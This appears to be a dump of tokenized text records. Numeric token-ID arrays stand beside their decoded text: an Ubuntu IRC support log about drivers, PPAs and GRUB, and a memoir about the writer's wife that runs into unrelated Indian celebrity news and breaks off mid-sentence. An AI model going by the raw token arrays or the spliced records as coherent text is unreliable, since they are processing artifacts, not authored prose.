187, 29, 312, 40826, 31, 288, 361, 76, 27, 533, 672, 309, 1511, 3334, 18307, 14, 33710, 13, 891, 1053, 626, 755, 2712, 896, 187, 29, 35744, 87, 31, 19782, 27, 1359, 513, 368, 21282, 253, 15439, 6064, 32, 1594, 2061, 1057, 417, 1646, 281, 3794, 281, 46432, 14, 31879, 14, 30700, 187, 29, 3335, 17841, 23341, 2960, 31, 327, 292, 968, 744, 1321, 27, 697, 281, 513, 342, 11744, 6303, 4438, 187, 29, 73, 361, 76, 31, 717, 40826, 27, 1056, 2119, 281, 22906, 634, 5522, 1618, 806, 187, 29, 328, 412, 31, 546, 77, 300, 13, 984, 368, 3630, 247, 6001, 285, 1509, 326, 281, 298, 39232, 3185, 273, 970, 2410, 311, 4525, 3923, 1386, 21031, 187, 29, 47956, 968, 744, 1321, 31, 7630, 280, 23341, 2960, 27, 7016, 13, 533, 891, 476, 626, 1361, 342, 326, 187, 29, 78, 44023, 9884, 269, 187, 29, 18683, 24132, 31, 891, 452, 247, 1895, 30661, 50117, 89, 187, 29, 312, 40826, 31, 288, 361, 76, 27, 50276, 74, 858, 13, 2717, 2167, 15, 403, 368, 2104, 281, 6184, 352, 32, 187, 29, 42576, 254, 36893, 17459, 187, 29, 28094, 3305, 18, 31, 2195, 4239, 6058, 187, 29, 32334, 31, 380, 41337, 48979, 23472, 367, 301, 6058, 313, 42889, 443, 1468, 10, 313, 2413, 1358, 13070, 15, 5646, 15, 681, 16, 24925, 16, 49, 301, 6058, 10, 8525, 7852, 47, 13, 1594, 4548, 49, 313, 43, 357, 589, 13, 22733, 1278, 285, 11640, 582, 329, 2894, 13, 35309, 86, 14, 40, 324, 86, 13, 10733, 437, 5901, 3020, 13, 9276, 50, 13, 714, 2894, 13, 48674, 285, 2571, 15, 2594, 671, 2195, 44, 412, 16606, 187, 29, 3335, 17841, 23341, 2960, 31, 6101, 2915, 1175, 342, 2444, 342, 11744, 6303, 9561, 187, 29, 11801, 304, 90, 31, 288, 361, 76, 27, 2444, 9418, 6701, 187, 29, 35744, 87, 31, 2195, 44164, 187, 29, 42576, 254, 36893, 309, 452, 816, 29101, 432, 898, 15, 740, 281, 884, 15, 2125, 418, 187, 29, 47956, 968, 744, 1321, 31, 15063, 466, 27, 368, 1599, 253, 2505, 9882, 50117, 89, 32, 187, 29, 35567, 38, 74, 31, 717, 40826, 27, 368, 2879, 253, 268, 4904, 13, 13390, 95, 11183, 3534, 642, 2228, 3736, 187, 29, 74, 37, 1714, 31, 309, 574, 247, 1895, 342, 11744, 275, 611, 1513, 280, 1051, 672, 309, 29393, 264, 619, 985, 4536, 11744, 651, 320, 13603, 275, 10701, 15821, 1051, 309, 812, 755, 352, 598, 285, 3515, 342, 271, 604, 5397, 259, 13409, 17, 598, 285, 840, 970, 259, 4904, 64, 4032, 663, 386, 533, 2990, 14, 20649, 651, 816, 921, 326, 11744, 310, 13603, 642, 2647, 752, 309, 858, 15, 733, 651, 5108, 327, 690, 29393, 84, 285, 789, 4030, 327, 2571, 15, 1292, 1024, 327, 298, 15912, 13, 697, 247, 9928, 1895, 537, 11744, 4307, 323, 690, 673, 533, 1024, 697, 9106, 4783, 347, 2080, 247, 187, 29, 74, 37, 1714, 31, 256, 2990, 14, 20649, 310, 7514, 15, 313, 42, 717, 970, 271, 17545, 608, 7554, 2696, 47, 3120, 342, 253, 891, 24966, 1530, 6333, 10, 309, 1663, 971, 281, 897, 10701, 7205, 537, 667, 1361, 651, 320, 14109, 15, 187, 29, 73, 361, 76, 31, 717, 40826, 27, 642, 13, 309, 6468, 626, 3597, 13, 1056, 2119, 634, 16144, 310, 3451, 27, 20850, 13390, 14, 788, 3334, 18307, 14, 33710, 187, 29, 3152, 3681, 80, 31, 13353, 11853, 4648, 278, 15381, 275, 44905, 32, 187, 29, 73, 361, 76, 31, 3098, 304, 90, 27, 7353, 2, 187, 29, 47956, 968, 744, 1321, 31, 15063, 466, 27, 368, 1599, 253, 2505, 14, 3169, 4384, 9882, 50117, 89, 32, 187, 29, 42576, 254, 36893, 1244, 1024, 891, 476, 626, 8746, 7491, 715, 619, 8323, 1269, 81, 187, 29, 6623, 26948, 20133, 31, 327, 292, 968, 744, 1321, 27, 1223, 891, 717, 6179, 323, 436, 13, 513, 1484, 452, 667, 2934, 752, 812, 452, 4269, 436, 32, 187, 29, 73, 361, 76, 31, 20816, 254, 876, 27, 20850, 5731, 14, 737, 538, 275, 247, 8351, 187, 29, 312, 40826, 31, 23184, 38, 74, 27, 309, 755, 495, 6332, 428, 1097, 323, 13520, 16, 69, 1346, 285, 581, 323, 278, 514, 293, 187, 29, 18683, 24132, 31, 672, 891, 1265, 619, 4382, 1157, 395, 672, 253, 16164, 1705, 1157, 619, 3601, 564, 2806, 285, 891, 2550, 513, 2717, 2, 476, 368, 1361, 479, 32 ]	<jean-pierresainf> this kernel probably is not able to recognize the usb chip onboard and may not have the proper driver for it. <jean-pierresainf> further investigation will tell me soon <FluffyMaster> onetinsoldier: couldnt i just do that when i boot the windows disc? <amabo> h00k: how would i get it <DasEi> amabo: what do you want to install? <Mark^> Hello. <jean-pierresainf> thank you all <stopsign> having wireless problems runing 10.04 hardware:IntelÂ® WiFi Link 5100AGN 802.11a/g/n Wireless worked fine with 9.10, wondering anyways to use the 9.10 driver or maybe even a fix? <jean-pierresainf> will be back with more info <h00k> effigy: okay, so it's still looking in the wrong place <enlil> unop, well I just tryed both and neither work. I've got an error like "cd www/backups \n put test <amabo> DasEi: elementary-desktop <enlil> CWD www/backups \n put test <enlil> 550 Failed to change directory. <enlil> " <FloodBot1> enlil: Please don't flood, use http://paste.ubuntu.com to paste, don't use Enter as punctuation. <h00k> effigy: what do you have listed on the left side? <enlil> Same with semicolon <Mark^> I just downloaded 10.04 Ubuntu NetBook Remix, while installing it.. Its downloading another package file.. Though I downloaded the file which is 775MB, why its downloading again? <DarthScape> lotta pplz here <enlil> I use some variants with && and stuffs like that <effigy> h00k: music library, playlist, and the one i just made <enlil> But nothing worked <DasEi> amabo: see hook then, gdm if you just need an elemtary desktop (as being no specific package) <Mark^> I downloaded this link: http://ubuntu.qualitynet.net/releases/kubuntu/lucid/kubuntu-10.04-netbook-i386.iso - but it downloaded as a.rar file.. <unop> enlil, <<<"command1"$'\n'"command2"$'\n'"command3" #etc <h00k> effigy: Okay, right click on the one you just made, edit iPod properties <DasEi> Mark^: language support/release notes <Mark^> Any1 can help me pls? <effigy> h00k: k <onetinsoldier> FluffyMaster: yes. but still, i trust cfdisk more than letting windows partition it. that's just me <unop> enlil, but if i were you i would look into lftp instead <h00k> effigy: and where is that pointing? <DasEi> Mark^:unpack and md5sum it <iDope> I had a problem with wireless in Karmic... when I rebooted my system sometimes wireless would be disabled in Network Manager... I could get it up and running with an ifconfig wlan0 up and then using wpa_supplicant but network-manager would just show that wireless is disabled no matter what I did. It would happen on some reboots and work fine on others. But now on lucid, its a permanent problem.. wireless worked for some time but now its totally gone as far a <iDope> s network-manager is concerned. (I am using an Intel 5300AGN card with the iwlagn module) I really want to use Network manager.. any help would be appreciated. <FluffyMaster> onetinsoldier: fair enough, haha <jjk1> Is there any free matlab software to download from online for ubuntu? <markus_> When I type something in evolution or in the browser every word gets underlined as wrong. I am typing in german. What do I have to install to make that disappear? <effigy> h00k: same /media/ipod <h00k> amabo: I don't know what you're trying to install, but it doesn't exist in the repositories <DasEi> Mark^:you are on win? <h00k> effigy: okay, change that to the /home/youruser/.gfvs/whatever <dominicdinada> onetinsoldier: got a min to help out? :) <amabo> h00k: i'm trying to install this https://launchpad.net/~elementaryart/+archive/elementarydesktop <enlil> Ok unop thanks a lot it works great. But why lftp? <Traveler123> Hi <Whammo> any advice getting the mplayer plugin to work embedded in firefox, for purpose of flash? <onetinsoldier> dominicdinada: yes. if i can. <h00k> amabo: okay, so that's a ppa <h00k>!ppa \| amabo <amabo> h00k: i have the ppa installed <ubottu> amabo: A Personal Package Archive (PPA) can provide alternate software not normally available in the offical Ubuntu repositories - Looking for a PPA? See https://launchpad.net/ubuntu/+ppas - WARNING: PPAs are unsupported third-party packages, and should be used at your own risk. <dominicdinada> its to do with wireless master mode <h00k> amabo: okay, then sudo apt-get update; sudo apt-get install packagenamehere <amabo> h00k: but when I type install elementary-desktop, i don't get anything back <bjv> Question: How do you zoom the desktop resolution? Xorg does not seem to respond to Ctrl-Alt-+/- <dominicdinada> onetinsoldier: its to do with wireless master mode <h00k> amabo: make sure to refresh your package list first <unop> enlil, because you write a script and pass that to lftp instead of using convoluted command line constructs <onetinsoldier> dominicdinada: sorry, but i can't help with that <michael_> f <melanie> i have a problem whit lynx <amabo> h00k: i did, nothing though. are you able to download it? <Traveler__> Hi <mrbook1>!pidgin <ubottu> The Instant Messenger Client Pidgin (formerly Gaim) (http://help.ubuntu.com/community/Pidgin) supports MSN, XMPP (Jabber, GTalk and variants), AIM, Gadu-Gadu, Novell Groupwise, ICQ, YIM, IRC and others. See also!Kopete <dominicdinada> Anybody good with working with wireless mastermode <effigy> h00k: working :) thanks <bjv>!zoom <Traveler__> I have just upgraded from 9.10 to 10.04 L <onetinsoldier> melanie: you mean the text browser lynx? <DasEi> amabo: you added the ppa, apt~update gave no error? <iDope> I had a problem with wireless in Karmic... when I rebooted my system sometimes wireless would be disabled in Network Manager... I could get it up and running with an ifconfig wlan0 up and then using wpa_supplicant but network-manager would just show that wireless is disabled no matter what I did. It would happen on some reboots and work fine on others. But now on lucid, its a permanent problem.. wireless worked for some time but now its totally gone as far a <iDope> s network-manager is concerned. (I am using an Intel 5300AGN card with the iwlagn module) I really want to use Network manager.. any help would be appreciated. <h00k> amabo: no, I haven't tried, make sure your syntax is correct: sudo apt-get install elementary-desktop <Whammo> surely somebody uses mplayer in firefox? <h00k> effigy: sweet! <onetinsoldier> melanie: you mean the text-based web browser lynx? <Traveler__> And now i can't dual boot into my windows xp <FluffyMaster> onetinsoldier: while i am waiting for this, do u have any idea what could have caused this? <h00k> Traveler__: sudo update-grub in a terminal <amabo> DasEi: I get 3 errors - both for ubuntu/dists and one for mactel <melanie> when i start my computer,and when the login come, my screen go black and i cannot do nothing! can you help me?
[ 8618, 15, 1500, 369, 17435, 15, 733, 1537, 671, 320, 247, 2798, 2983, 13, 309, 1869, 15, 309, 1691, 275, 247, 19801, 273, 24367, 2713, 4427, 313, 79, 4905, 38575, 460, 13, 1077, 9371, 275, 824, 9534, 10, 762, 617, 14018, 15, 187, 187, 42, 574, 9809, 247, 11705, 273, 436, 2854, 323, 271, 8945, 15, 21965, 846, 253, 806, 8596, 13, 309, 815, 11406, 619, 39680, 399, 814, 7675, 285, 2183, 779, 326, 521, 4936, 785, 369, 34352, 285, 18343, 779, 281, 16949, 1728, 342, 521, 4651, 15, 1583, 7244, 4541, 11704, 407, 247, 4675, 32686, 15, 187, 187, 2993, 369, 1677, 8945, 1971, 275, 253, 17193, 1557, 3943, 273, 253, 4675, 15, 4058, 1617, 10308, 1701, 407, 3563, 275, 253, 2360, 15, 1500, 369, 8884, 562, 273, 5434, 253, 1735, 1388, 15, 329, 14215, 14547, 33470, 369, 2218, 15, 380, 11576, 1119, 271, 7269, 2972, 275, 581, 273, 253, 24908, 15, 1500, 369, 1677, 247, 25882, 15, 1500, 6376, 275, 253, 4675, 323, 247, 1643, 1897, 285, 4895, 1728, 13, 6627, 285, 5389, 15, 187, 187, 510, 2862, 2021, 3573, 264, 247, 25790, 273, 6619, 15, 2732, 247, 1643, 3618, 273, 1551, 285, 761, 29974, 318, 13, 3189, 257, 518, 41386, 30974, 617, 2622, 10934, 15, 1500, 1694, 598, 973, 1078, 5101, 24078, 13, 6518, 5972, 281, 247, 5500, 273, 8574, 13, 1694, 253, 12561, 4704, 313, 7821, 1792, 1598, 271, 258, 255, 33594, 582, 6699, 253, 1388, 457, 84, 12398, 285, 2206, 1066, 275, 253, 18069, 31494, 266, 6951, 275, 617, 2316, 342, 253, 15851, 1984, 275, 1133, 15, 831, 369, 617, 23986, 673, 15, 309, 1160, 352, 247, 1127, 417, 281, 11639, 617, 15, 187, 187, 1147, 369, 671, 253, 673, 672, 690, 2255, 13, 665, 22007, 253, 3971, 1046, 4131, 13, 617, 1682, 3858, 13, 651, 5926, 275, 323, 616, 5312, 270, 917, 14, 43658, 934, 15, 1500, 5082, 457, 85, 2564, 616, 39482, 15, 1500, 651, 1056, 8574, 323, 731, 15, 313, 34, 2644, 1387, 273, 731, 2210, 1728, 281, 923, 479, 285, 6882, 1306, 617, 2471, 15, 831, 369, 617, 2714, 414, 15, 1500, 651, 14588, 342, 4130, 327, 4503, 2426, 2698, 187, 187, 9264, 187, 187, 26190, 2607, 846, 703, 7244, 275, 19950, 846, 253, 12142, 13, 359, 11612, 247, 16112, 281, 253, 3918, 273, 34905, 387, 8305, 491, 23388, 3995, 15, 733, 369, 17386, 407, 12128, 8308, 29347, 262, 500, 1403, 1240, 7694, 267, 3532, 73, 579, 15, 3189, 257, 518, 41386, 3047, 500, 1403, 1240, 7694, 267, 3532, 73, 579, 6262, 12655, 521, 12141, 715, 253, 7423, 285, 18017, 281, 479, 326, 703, 3078, 281, 2525, 3532, 73, 579, 15, 187, 187, 42, 2183, 617, 326, 309, 1904, 457, 85, 871, 253, 12128, 8308, 11697, 15, 378, 609, 314, 309, 574, 6699, 3981, 436, 13, 703, 20906, 949, 253, 16778, 4404, 835, 3532, 73, 579, 369, 5015, 342, 690, 952, 15, 380, 1735, 2774, 13, 309, 3047, 617, 5015, 342, 253, 12128, 8308, 15, 187, 187, 14651, 11987, 25363, 15, 187, 187, 510, 5406, 3395, 247, 4352, 275, 253, 2021, 896, 1728, 275, 6984, 40172, 15, 187, 187, 8195, 4722, 7119, 7668, 427, 343, 324, 330, 15, 775, 5353, 73, 11317, 13, 253, 8530, 5396, 8406, 13, 3249, 281, 619, 2564, 15, 844, 574, 1313, 779, 247, 1643, 2069, 387, 15858, 2345, 28206, 21193, 457, 84, 1659, 15, 2091, 15858, 2345, 28206, 21193, 3395, 8121, 273, 253, 35853, 456, 33022, 273, 5427, 13, 344, 3078, 479, 281, 513, 690, 4722, 7968, 273, 427, 343, 324, 13209, 86, 281, 17093, 247, 2962, 273, 7774, 407, 779, 323, 253, 11338, 15, 187, 187, 11728, 297, 4029, 728, 407, 3189, 257, 518, 41386, 13, 309, 2427, 281, 253, 8406, 457, 84, 1728, 15, 427, 343, 324, 13209, 86, 574, 2489, 247, 7615, 4677, 7824, 253, 24914, 285, 13284, 19236, 273, 253, 4922, 74, 20952, 2170, 273, 1711, 19950, 28, 247, 6906, 13, 2159, 13, 653, 610, 637, 275, 277, 12022, 74, 285, 42981, 893, 15, 754, 651, 3798, 1053, 21524, 8952, 10015, 387, 1728, 15, 3032, 19519, 285, 253, 33054, 497, 10827, 323, 521, 16771, 15, 754, 369, 9979, 273, 3253, 4782, 15, 754, 7636, 4645, 745, 521, 4849, 273, 247, 5235, 273, 4957, 13, 3340, 1110, 1160, 275, 5854, 13, 281, 521, 12942, 15, 187, 187, 1909, 344, 10062, 342, 441, 13, 344, 5485, 253, 22756, 22173, 285, 7320, 562, 247, 4667, 273, 28115, 12719, 12682, 285, 3407, 15571, 697, 2714, 3386, 15, 2091, 344, 3982, 253, 12682, 8489, 2810, 281, 3189, 257, 518, 41386, 13, 30039, 617, 281, 923, 731, 13, 703, 3817, 264, 617, 11480, 285, 45646, 10184, 253, 12682, 896, 7746, 779, 773, 47, 343, 324, 13209, 86, 13, 3021, 2080, 285, 642, 2007, 13, 4496, 1425, 187, 187, 47, 343, 324, 1904, 457, 85, 2564, 617, 4385, 15, 754, 574, 247, 49618, 9012, 342, 441, 13, 285, 4821, 16115, 275, 19916, 273, 253, 4383, 12682, 15, 27993, 390, 1899, 273, 952, 816, 1904, 457, 85, 15105, 617, 15, 1500, 369, 21332, 15, 1500, 369, 4613, 15, 1500, 369, 21189, 15, 1500, 574, 2717, 281, 26037, 15, 1500, 369, 2032, 281, 5972, 15, 187, 187, 9264, 187, 187, 42, 1119, 247, 1943, 1818, 275, 617, 275, 253, 1107, 846, 617, 2798, 2983, 15, 1500, 3395, 1077, 12435, 285, 2223, 10062, 670, 2656, 15, 1500, 7416, 247, 1387, 273, 2255, 13, 512, 617, 3858, 13, 285, 3053, 16362, 15851, 12225, 1046, 7814, 4131, 15, 1500, 6331, 1469, 562, 323, 16771, 984, 273, 3075, 275, 253, 15746, 15, 187, 187, 2993, 5262, 5927, 673, 275, 253, 8576, 285, 651, 11585, 281, 617, 2316, 672, 2378, 253, 4131, 2093, 373, 497, 689, 15, 4058, 1600, 275, 5579, 1151, 8075, 259, 20625, 15, 187, 187, 688, 253, 39190, 13, 672, 309, 369, 10000, 342, 619, 4382, 275, 619, 2316, 13, 703, 9013, 281, 7027, 1066, 327, 253, 21985, 275, 253, 10263, 2316, 6179, 323, 479, 281, 1705, 285, 1790, 1735, 281, 617, 15, 831, 310, 253, 673, 359, 18029, 281, 8946, 3440, 15, 23177, 2469, 4314, 369, 8955, 673, 15, 33041, 13, 359, 651, 11585, 323, 253, 1388, 15, 187, 187, 5072, 257, 518, 41386, 369, 11617, 6110, 275, 3440, 285, 7636, 11298, 281, 617, 18069, 32146, 15, 1500, 369, 2810, 281, 253, 2017, 66, 353, 15, 52, 15, 4974, 9705, 518, 1200, 7373, 15, 1583, 3395, 1175, 3858, 672, 359, 5262, 1264, 1897, 275, 7852, 457, 1728, 275, 6984, 6230, 48447, 617, 1495, 275, 7968, 15, 187, 187, 3338, 1160, 352, 247, 1127, 281, 2525, 3189, 257, 518, 41386, 10793, 703, 2210, 281, 19950, 390, 14332, 47180, 15, 1583, 651, 2319, 417, 3440, 533, 12398, 15, 187, 187, 1231, 3839, 11791, 387, 1728, 285, 10062, 247, 1175, 2968, 327, 2710, 5705, 15, 844, 18029, 281, 1016, 643, 342, 8933, 7957, 4116, 15, 24503, 359, 5469, 4092, 5705, 751, 1495, 13, 2471, 285, 1014, 2656, 15, 844, 671, 24509, 2400, 275, 247, 2372, 273, 34168, 670, 253, 564, 723, 14, 251, 275, 253, 24092, 15, 187, 187, 1231, 6012, 247, 15951, 37993, 12725, 275, 4933, 15278, 7886, 281, 952, 15, 1198, 1650, 13, 359, 4907, 247, 21436, 24451, 13, 665, 2210, 1046, 4131, 30849, 521, 259, 4420, 387, 247, 1029, 12256, 11288, 13, 773, 35, 13243, 8243, 7521, 846, 253, 3440, 6429, 383, 287, 29347, 262, 378, 13243, 8243, 18559, 5801, 15, 3189, 257, 518, 41386, 3543, 326, 378, 13243, 8243, 369, 6296, 24011, 342, 247, 1270, 4318, 28, 604, 344, 574, 760, 2668, 281, 3440, 13, 344, 651, 452, 644, 247, 29192, 15, 187, 187, 510, 3416, 13, 665, 22007, 253, 3971, 13, 43247, 1200, 7373, 369, 1925, 773, 51, 15, 45, 1425, 13, 8669, 43247, 1200, 7373, 15, 2732, 703, 1669, 13, 703, 369, 7932, 407, 1529, 43247, 1200, 7373, 15, 380, 747, 43247, 1200, 7373, 369, 1925, 773, 47, 15, 51, 15, 45, 1425, 13, 1457, 8669, 43247, 1200, 7373, 15, 187, 187, 1231, 1119, 12725, 1014, 275, 16907, 2969, 1841, 275, 1495, 15, 831, 310, 752, 4931, 1160, 776, 1495, 271, 30357, 9455, 15, 187, 187, 46, 656, 410, 313, 395, 714, 324, 580, 356, 19283, 10, 3226, 16527, 81, 3230, 29347, 262, 8924, 84, 747, 867, 895, 15858, 14776, 1058, 8182, 6683, 13, 285, 247, 1335, 5103, 1309, 253, 9602, 273, 253, 4498, 275, 29811, 333, 15, 16527, 81, 3230, 310, 671, 247, 7345, 273, 1270, 44914, 658, 13, 285, 6131, 690, 1786, 12192, 327, 617, 5311, 15, 187, 187, 1628, 1147, 457, 84, 642, 4279, 326, 329, 763, 88, 552, 66, 310, 5345, 13, 285, 703, 3548, 457, 85, 2970, 667, 9243, 15, 1292, 352, 1024, 3249, 281, 1708, 326, 253, 1921, 323, 617, 19297, 281, 8800, 247, 1429, 387, 253, 2774, 310, 984, 703, 556, 644, 9958, 432, 12607, 23669, 323, 247, 1223, 15, 49918, 247, 2603, 13, 2802, 510, 12358, 329, 763, 88, 552, 66, 310, 3192, 323, 617, 12607, 44244, 420, 310, 10546, 35025, 617, 432, 2970, 12821, 15, 20539, 253, 23669, 310, 4751, 29025, 13, 703, 310, 11543, 281, 2495, 247, 10438, 457, 1806, 9563, 253, 24685, 5110, 432, 253, 2926, 15, 187, 187, 34, 763, 88, 552, 66, 416, 2284, 5868, 253, 2926, 327, 253, 1388, 352, 5420, 13, 6789, 352, 3221, 285, 26493, 13, 534, 253, 2929, 4824, 275, 2120, 15, 187, 187, 4125, 13, 31540, 2291, 13, 665, 13, 2556, 281, 32111, 41945, 13, 310, 753, 281, 452, 2529, 253, 44244, 420, 347, 6793, 637, 457, 84, 14792, 327, 521, 5311, 13, 556, 5311, 2400, 896, 1411, 253, 773, 601, 4206, 285, 10357, 23137, 5313, 273, 22630, 668, 275, 1501, 1180, 721, 2090, 13, 17905, 271, 32135, 285, 247, 851, 3460, 323, 253, 773, 615, 3169, 26481, 6598, 187, 187, 1628, 510, 440, 36094, 285, 256, 31457, 528, 3753, 273, 436, 3929, 275, 824, 271, 12368, 11574, 285, 22694, 11547, 347, 253, 32111, 41945, 310, 11617, 25758, 15, 733, 10316, 253, 2488, 273, 436, 3929, 715, 557, 250, 48334, 15, 733, 10316, 253, 8121, 326, 3863, 436, 3929, 715, 557, 250, 48334, 15, 733, 10316, 436, 1798, 11547, 715, 557, 250, 48334, 15, 187, 187, 1628, 25420, 281, 253, 41566, 3753, 273, 436, 256, 31457, 13, 309, 2748, 247, 851, 3460, 285, 2120, 32135, 15, 380, 2120, 32135, 12093, 253, 4454, 273, 253, 2060, 17264, 285, 7015, 8121, 13, 253, 17264, 457, 84, 285, 8121, 457, 84, 440, 28758, 851, 3460, 285, 1275, 19066, 273, 253, 9410, 273, 253, 14600, 13, 253, 32135, 943, 320, 9713, 281, 1097, 329, 763, 88, 552, 66, 416, 2284, 31540, 2291, 806, 285, 5742, 13, 285, 671, 281, 253, 31540, 2291, 2021, 275, 2087, 15, 187, 187, 1628, 510, 32135, 310, 281, 320, 11462, 327, 253, 806, 3239, 273, 253, 14608, 2593, 273, 253, 32111, 41945, 327, 253, 1072, 3239, 13, 275, 253, 1072, 1979, 3379, 13, 285, 1690, 253, 20076, 273, 253, 18979, 17264, 285, 8121, 285, 271, 8993, 23672, 273, 247, 2020, 273, 313, 19581, 281, 320, 4425, 407, 2758, 273, 619, 6508, 2021, 273, 253, 5311, 10, 281, 247, 3872, 34251, 12153, 273, 634, 13887, 326, 8525, 1110, 665, 11089, 432, 20615, 20521, 285, 271, 3929, 275, 634, 11547, 27321, 697, 789, 1425, 187, 187, 51, 1432, 16825, 386, 8924, 84, 2221, 296, 472, 297, 275, 465, 4595, 536, 15235, 13, 4047, 13, 534, 310, 752, 253, 4857, 272, 275, 253, 30062, 1840, 2097, 13, 556, 1048, 644, 271, 1789, 273, 16909, 285, 6385, 394, 15, 6610, 13, 627, 310, 4737, 273, 521, 2186, 275, 427, 5265, 251, 13, 835, 387, 247, 4498, 285, 11012, 921, 327, 7315, 13, 247, 6692, 16057, 13892, 5519, 253, 34861, 2221, 7873, 15, 380, 3236, 1180, 369, 29502, 407, 322, 15, 49, 15, 11960, 284, 538, 3358, 1279, 312, 281, 253, 24591, 273, 657, 1094, 312, 3097, 86, 285, 253, 3440, 273, 329, 15, 51, 15, 1720, 38373, 15, 187, 187, 40942, 13, 253, 16511, 9353, 574, 247, 2802, 22882, 14664, 12584, 2579, 457, 275, 534, 6763, 273, 14664, 12584, 265, 285, 818, 13, 933, 391, 1317, 5087, 342, 616, 4852, 323, 253, 46128, 273, 253, 838, 2821, 7497, 15, 187, 187, 1231, 452, 8530, 1863, 312, 1944, 261, 275, 42948, 255, 10573, 690, 273, 5207, 403, 3872, 20254, 785, 5722, 20721, 13, 690, 273, 5207, 354, 7041, 616, 2389, 281, 637, 285, 22878, 13, 690, 273, 5207, 49383, 1327, 14, 23283, 566, 432 ]	sugar. She was diabetic. It might also be a heart attack, I thought. I put in a tablet of Sorbitrate (nitroglycerine, very helpful in such situations) under her tongue. I had saved a strip of this drug for an emergency. Soon after the first aid, I phoned my grandson Duglu and told him that his grandma was sinking and urged him to rush home with his parents. They arrived quickly accompanied by a hospital ambulance. She was given emergency treatment in the intensive care unit of the hospital. Her condition stabilised by late in the night. She was declared out of danger the next day. A coronary angioplasty was done. The doctors found an advanced block in one of the arteries. She was given a stent. She remained in the hospital for a few days and returned home, bright and beautiful. The entire family heaved a sigh of relief. After a few weeks of rest and recuperation, Meenakshi resumed her normal routine. She got up well before sunrise, helped herself to a cup of coffee, got the breakfast ready (invariably an oatmeal), finished the day’s cooking and sat down in the favourite rattan chair in her room with the prayer book in hand. This was her meditation time. I made it a point not to disturb her. It was also the time when some women, who swept the road every morning, her best friends, would drop in for their daily bible-babble. She wouldn’t mind their intrusion. She would make coffee for them. (A whole group of them came home to see me and condole her death. This was her speciality. She would relate with everyone on equal terms.) * Within months after she arrived in Delhi after the wedding, we attended a reception to the President of Ghana at Hyderabad House. It was hosted by Prime Minister Pandit Jawaharlal Nehru. Meenakshi saw Jawaharlal Nehru escorting his guest into the hall and whispered to me that she wanted to meet Nehru. I told her that I didn’t know the Prime Minister personally. Barely I had finished saying this, she rushed through the gathering towards where Nehru was talking with some people. The next moment, I saw her talking with the Prime Minister. Cameras clicked. The picture became a hit in the family back home in Madurai. Another interesting incident involving Nirad C. Chaudhuri, the famous Indian writer, comes to my mind. We had met him a few times at Khushwant Singh’s place. When Khushwant Singh became editor of the Illustrated Weekly of India, he wanted me to do some interesting pictures of Nirad Babu to illustrate a series of articles by him for the magazine. Accompanied by Meenakshi, I went to the writer’s home. Nirad Babu had become a familiar figure walking the lanes and quadrangles of the Mori Gate area of old Delhi; a thin, short, spry man in dhoti and kurta. He would usually don Bengali clothes at home. His suits and the hats were reserved for his walks. He was proud of everything British. He loved showing off his collection of a variety of items, especially those made in England, to his visitors. As he talked with us, he opened the shoe rack and pulled out a pair of shining Oxford shoes and began explaining its special features. When he brought the shoes somewhat close to Meenakshi, urging her to see them, she boxed her nose and politely pushed the shoes back telling him “Nirad Babu, thus far and no further, please.” Nirad didn’t mind her comment. He had a hearty laugh with us, and continued singing in praise of the English shoes. Fame or position of people just didn’t bother her. She was frank. She was candid. She was brave. She had nothing to conceal. She was true to herself. * I found a big change in her in the years after her heart attack. She became very spiritual and often talked about God. She joined a group of women, all her friends, and started attending prayer meetings every Saturday morning. She stopped going out for walks because of pain in the knees. She spent minimum time in the kitchen and would retire to her room when once the morning chores were over. Her interest in TV serials waned. In the evenings, when I was busy with my computer in my room, she preferred to lie down on the couch in the drawing room waiting for me to come and sit next to her. This is the time we listened to classical music. Half past eight was dinner time. Thereafter, we would retire for the day. Meenakshi was deeply interested in music and loved listening to her favourite singers. She was close to the diva M.S. Subbulakshmi. They became good friends when we spent three days in MS’ home in Madras documenting her life in pictures. MS made it a point to meet Meenakshi whenever she came to Delhi or Bangalore. They would discuss not music but cooking. We generally stayed at home and talked a good deal on various subjects. We listened to each other with steadfast attention. Often we discussed serious subjects like life, death and even God. We also indulged in a bit of gossip about the goings-on in the neighbourhood. We derived a vicarious delight in giving nicknames to people. For example, we named a vegetable seller, who came every morning announcing his wares at a high musical pitch, “Bhimsen”, after the music maestro Pandit Bhimsen Joshi. Meenakshi felt that Bhimsen was indeed blessed with a great voice; if he had only taken to music, he would have been a celebrity. The woman, who swept the road, Lakshmi was called “R.L.”, Road Lakshmi. After she left, she was replaced by another Lakshmi. The new Lakshmi was called “N.R.L.”, New Road Lakshmi. We found delight even in seemingly simple things in life. This is what perhaps made our life an enjoyable journey. Mysore (and Yadavagiri) girl Kalpana Pandit‘s new remix Khuda ke Liye, and a still shot during the shooting of the song in Bombay. Kalpana is also a doctor of great pedigree, and offers some health tips on her blog. “It’s no secret that Aishwarya is 37, and she isn’t getting any younger. But it now comes to light that the reason for her inability to bear a child at the moment is because she has been suffering from stomach tuberculosis for a while. Says a source, ‘The medication Aishwarya is taking for her stomach ailment is hampering her from getting pregnant. Until the tuberculosis is fully cured, she is unlikely to risk a pregnancy’,” reads the operative portion from the story. Aishwarya Rai denied the story on the day it appeared, calling it false and fabricated, which the paper carried in full. Now, Bachchan, who, according to Mumbai Mirror, is said to have described the ailment as rich man’s TB on his blog, has blogged back against the “soiled and unworthy piece of garbage” in post number 669, demanding an apology and a retraction for the “debased journalism”. “The unprofessional and slanderous nature of this article in such an esteemed and respected newspaper as the Mumbai Mirror is deeply disturbing. It brings the author of this article into disrepute. It brings the editor that published this article into disrepute. It brings this particular newspaper into disrepute. “Due to the illicit nature of this slander, I request a retraction and full apology. The full apology comprises the names of the individual journalist and chief editor, the journalist’s and editor’s unqualified retraction and refutation of the contents of thearticle, the apology should be addressed to both Aishwarya Rai Bachchan first and specifically, and also to the Bachchan family in general. “The apology is to be printed on the first page of the entertainment section of the Mumbai Mirror on the same page, in the same size print, and including the signatures of the aforementioned journalist and editor and an immediate donation of a sum of (amount to be decided by members of my extended family of the blog) to a national charitable foundation of your choosing that supports those who suffer fromtuberculosis and an article in your newspaper highlighting its work.” Rajnikant‘s superstardom in karaokeland, Japan, which is what the lettering in the headline above means, has long been an object of mystery and mirth. Finally, there is proof of his hold in Nippon, where at a song and dance show on television, a Japanese singer mimicks the Tamil superstar. The original number was sung by S.P. Balasubramanyam to the lyrics of Vairamuthu and the music of A.R. Rehman. Apparently, the temple committee had a ‘secret buffalo service’ in which thousands of buffaloes and 7,000 rams paid with their lives for the wellbeing of the presiding humans. We have famous swamijis in Karnataka some of whom are national Padma award winners, some of whom proclaim 